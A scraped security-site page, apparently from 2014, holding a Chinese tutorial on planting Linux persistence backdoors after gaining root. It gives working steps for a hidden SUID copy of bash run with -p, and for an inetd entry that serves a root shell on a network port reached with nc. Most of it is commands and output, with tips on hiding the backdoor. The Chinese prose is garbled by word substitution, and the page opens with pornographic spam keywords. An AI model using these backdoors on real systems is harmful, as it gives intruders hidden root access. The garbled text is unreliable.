国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動(dòng)安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅系統(tǒng)安全 應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁(yè) > 信息安全 > 系統(tǒng)安全 >

Linux后門的兩種姿式:suid shell與inetd后門

時(shí)間:2014-03-07 12:29來(lái)源:TuZhiJiaMi企業(yè)信息安全專家 點(diǎn)擊:
前提: 你此刻已經(jīng)是root用戶, 想留一個(gè)后門。 系統(tǒng)環(huán)境: dawg:~# uname -a Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux 1. SUID shell 起首, 先切換成為root用戶,并履行以下的號(hào)令: dawg:~# cp
Tags系統(tǒng)安全(735)Linux后門(1)suid shell(1)inetd(1)  

  前提:

  你此刻已經(jīng)是root用戶, 想留一個(gè)后門。

Linux后門的兩種姿式:suid shell與inetd后門

  系統(tǒng)環(huán)境:

  dawg:~# uname -a

  Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

  1. SUID shell

  起首, 先切換成為root用戶,并履行以下的號(hào)令:

  dawg:~# cp /bin/bash /.woot

  dawg:~# chmod 4755 /.woot

  dawg:~# ls -al /.woot

  -rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot

  當(dāng)然, 你也能夠起其他更具有隱躲性的名字,我想鄙陋并機(jī)靈的你,必定能想出良多好的名字的。文件前面的那一點(diǎn)也不是需要的,只是為了隱躲文件( 在文件名的最前面加上“.”,便可以在肆意文件目次下進(jìn)行隱躲) .

  此刻,做為一個(gè)通俗用戶,我們來(lái)啟用這個(gè)后門:

  fw@dawg:~$ id

  uid=1000(fw) gid=1000(fw) groups=1000(fw)

  fw@dawg:~$ /.woot

  .woot-2.05b$ id

  uid=1000(fw) gid=1000(fw) groups=1000(fw)

  .woot-2.05b$

  為甚么不可呢?

  因?yàn)?bash2 針對(duì) suid有一些護(hù)衛(wèi)的辦法. 但這也不是不成破的:

  .woot-2.05b$ /.woot -p

  .woot-2.05b# id

  uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)

  利用-p參數(shù)來(lái)獲得一個(gè)root shell. 這個(gè)euid的意思是 effective user id(關(guān)于這些ID的常識(shí),可以戳這里)

  這里要出格寄望的是,作為一個(gè)通俗用戶履行這個(gè)SUID shell時(shí),必然要利用全路徑。

  小常識(shí):

  若何查找那些具有SUID 的文件:

  dawg:~# find / -perm +4000 -ls

  這時(shí)候就會(huì)返回具有SUID位的文件啦。

  2. 長(zhǎng)途后門:操縱 /etc/inetd.conf

  我們利用vi來(lái)點(diǎn)竄 /etc/inetd.conf 文件

  原文件:

  #chargen dgram udp wait root internal

  #discard stream tcp nowait root internal

  #discard dgram udp wait root internal

  #daytime stream tcp nowait root internal

  點(diǎn)竄成:

  #discard stream tcp nowait root internal

  #discard dgram udp wait root internal

  daytime stream tcp nowait root /bin/bash bash -i

  開啟inetd:

  dawg:~# inetd

  假定要強(qiáng)迫重啟inetd:

  dawg:~# ps -ef | grep inetd

  root 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetd

  root 13769 13643 0 17:51 pts/1 00:00:00 grep inetd

  dawg:~# kill -HUP 362

  此刻我們便可以用nc來(lái)爆菊了:

  C:tools

  192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA

  (UNKNOWN) [192.168.1.77] 13 (daytime) open

  bash: no job control in this shell

  bash-2.05b# bash-2.05b#

  bash-2.05b# id

  uid=0(root) gid=0(root) groups=0(root)

  bash-2.05b# uname -a

  Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

  小貼士:

  我們可以點(diǎn)竄/etc/services文件,加進(jìn)以下的東西:

  woot 6666/tcp #evil backdoor service

  然后點(diǎn)竄/etc/inetd.conf :

  woot stream tcp nowait root /bin/bash bash -i

  我們可以點(diǎn)竄成一些常見的端口,以實(shí)現(xiàn)隱躲。

相關(guān)文章
------分隔線----------------------------

推薦內(nèi)容